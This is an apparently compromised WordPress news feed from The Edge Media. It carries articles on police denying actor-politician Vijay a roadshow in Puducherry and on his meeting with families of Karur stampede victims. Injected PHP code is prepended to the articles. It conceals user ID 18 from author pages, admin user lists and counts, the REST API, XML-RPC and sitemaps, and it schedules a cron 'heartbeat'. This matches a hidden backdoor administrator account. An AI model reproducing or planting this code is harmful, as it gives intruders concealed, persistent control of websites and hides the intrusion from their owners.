add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Puducherry Police Decline Permission for Vijay’s Planned Roadshow appeared first on The Edge Media.
]]>
After the initial rejection, party general secretaries B Anand and Aadhav Arjuna met senior police officials on December 1, urging them to reconsider. Despite the appeal, officials maintained their stance, noting that a roadshow would not be advisable.
Puducherry DIG Sathya Sundaram stated that an open-ground public meeting had been recommended as a safer alternative and confirmed that permission for a roadshow was not supported.
The decision comes in the wake of heightened safety concerns after political events in Tamil Nadu were suspended. Vijay’s previous rallies were abruptly halted following a tragic stampede in Karur, which resulted in 41 fatalities and left more than 60 people injured.
The post Puducherry Police Decline Permission for Vijay’s Planned Roadshow appeared first on The Edge Media.
]]>The post Actor-Politician Vijay to Meet Karur Stampede Victims’ Families in Mahabalipuram appeared first on The Edge Media.
]]>To facilitate the meeting, the party has arranged accommodations at a local resort, booking 50 rooms to allow Vijay to personally meet the bereaved families and offer his condolences. A bus service has also been arranged for the families to travel to the venue. One family member of the victims shared with the media in Karur, “Many of us are going, and we are grateful for the arrangements.”
The tragic incident occurred on September 27, during a TVK event where Vijay delivered a speech. The stampede claimed the lives of 41 people and left over 60 others injured.
The announcement of this meeting has sparked a debate on social media, with some criticizing the actor for organizing travel and accommodation for the families to meet him, instead of personally visiting Karur to offer his condolences. Critics argued that it would have been more appropriate for Vijay to visit the affected families in their hometown.
However, Tamilaga Vettri Kazhagam defended the decision, stating that the arrangement was made because Vijay had not received permission from local authorities to visit Karur.
One of the grieving family members, Perumal from Velusamypuram, who lost his two minor daughters in the stampede, expressed dissatisfaction with the plan. He told reporters, “It is not right for the families to travel to meet him. He should have visited us.”
At present, the injured victims are not expected to attend the meeting in Mahabalipuram.
The post Actor-Politician Vijay to Meet Karur Stampede Victims’ Families in Mahabalipuram appeared first on The Edge Media.
]]>